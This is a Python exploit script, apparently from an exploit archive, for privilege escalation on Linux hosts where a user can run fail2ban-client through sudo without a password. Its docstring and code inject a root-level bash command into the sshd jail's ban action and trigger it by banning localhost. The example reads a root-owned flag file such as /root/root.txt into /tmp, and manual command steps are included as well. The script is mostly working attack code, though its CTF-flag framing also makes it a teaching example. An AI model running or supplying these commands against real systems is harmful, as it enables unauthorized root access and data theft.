## https://sploitus.com/exploit?id=PACKETSTORM:189989
#Author: Raed Ahsan
#Date: 24/03/2025
#Fail2Ban-client privilege-escalation
"""
Fail2Ban Automated Exploit Script - CVE Candidate
==================================================
Description: This script automates an exploit for a misconfiguration or vulnerability in Fail2Ban,
allowing an attacker to execute unauthorized commands via the fail2ban-client command.
It specifically demonstrates how to read the contents of /root/root.txt and move it to /tmp/root.txt
with world-readable permissions.
This script first checks if the current user can execute `fail2ban-client` with sudo privileges
without requiring a password. If the check passes, it proceeds with the following automated steps:
### Step-by-Step Process:
1. Check sudo permissions: Ensures the user has the ability to run `fail2ban-client` as root.
2. Restart Fail2Ban: Executes `sudo /usr/bin/fail2ban-client restart` to refresh the service.
3. Inject Malicious Action: Uses `fail2ban-client set` to replace an existing action with a
command that copies `/root/root.txt` to `/tmp/root.txt` and sets its permissions to 777.
- Command used:
```
sudo /usr/bin/fail2ban-client set sshd action iptables-multiport actionban
"/bin/bash -c 'cat /root/root.txt > /tmp/root.txt && chmod 777 /tmp/root.txt'"
```
4. Ban Localhost (127.0.0.1): Triggers the malicious action by banning an IP,
effectively executing the injected command.
- Command used:
```
sudo /usr/bin/fail2ban-client set sshd banip 127.0.0.1
```
5. Verify File Extraction: Checks if `/tmp/root.txt` exists and displays its contents.
### Manual Execution Instructions (If the Script Fails)
If the script does not work as expected, especially if `/root/root.txt` is not readable in `/tmp/root.txt`,
try executing the commands manually in the terminal:
```bash
sudo /usr/bin/fail2ban-client restart
sudo /usr/bin/fail2ban-client set sshd action iptables-multiport actionban "/bin/bash -c 'cat /root/root.txt > /tmp/root.txt && chmod 777 /tmp/root.txt'"
sudo /usr/bin/fail2ban-client set sshd banip 127.0.0.1
"""
import os
import subprocess
import sys
def is_sudo_accessible():
"""Check if the user can run fail2ban-client with sudo."""
try:
# Check if the user can run 'fail2ban-client' with sudo without a password prompt
result = subprocess.run(['sudo', '-n', 'fail2ban-client', 'status'], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
if result.returncode == 0:
return True
else:
print("You do not have the necessary permissions to run fail2ban-client with sudo.")
return False
except FileNotFoundError:
print("fail2ban-client is not installed on this system.")
return False
def run_command(command):
"""Run a shell command."""
try:
result = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
if result.returncode != 0:
print(f"Error running command: {command}")
print(result.stderr.decode())
else:
print(result.stdout.decode())
except Exception as e:
print(f"An error occurred while running command: {command}\n{str(e)}")
def main():
# Check if running in a Linux environment
if not os.name == 'posix':
print("This script is designed to run on a Linux machine.")
sys.exit(1)
# Check if the user can use sudo with fail2ban-client
if not is_sudo_accessible():
sys.exit(1)
# Get the user input for the flag file
flag_filename = input("Enter the flag file name (e.g., flag.txt): ").strip()
# Set the full path for the flag file
flag_file_path = f"/root/{flag_filename}"
# Step 1: Restart fail2ban
print("Restarting fail2ban...")
run_command("sudo /usr/bin/fail2ban-client restart")
# Step 2: Execute the command to write the flag content to /tmp
print(f"Setting action for SSHD and writing flag file to /tmp/{flag_filename}...")
command = f"sudo /usr/bin/fail2ban-client set sshd action iptables-multiport actionban \"/bin/bash -c 'cat /root/{flag_filename} > /tmp/{flag_filename} && chmod +x /tmp/{flag_filename}'\""
run_command(command)
# Step 3: Ban the IP (127.0.0.1) using fail2ban
print("Banning IP 127.0.0.1...")
run_command("sudo /usr/bin/fail2ban-client set sshd banip 127.0.0.1")
# Final message
print(f"The flag is now located in the /tmp directory as {flag_filename}")
if __name__ == "__main__":
main()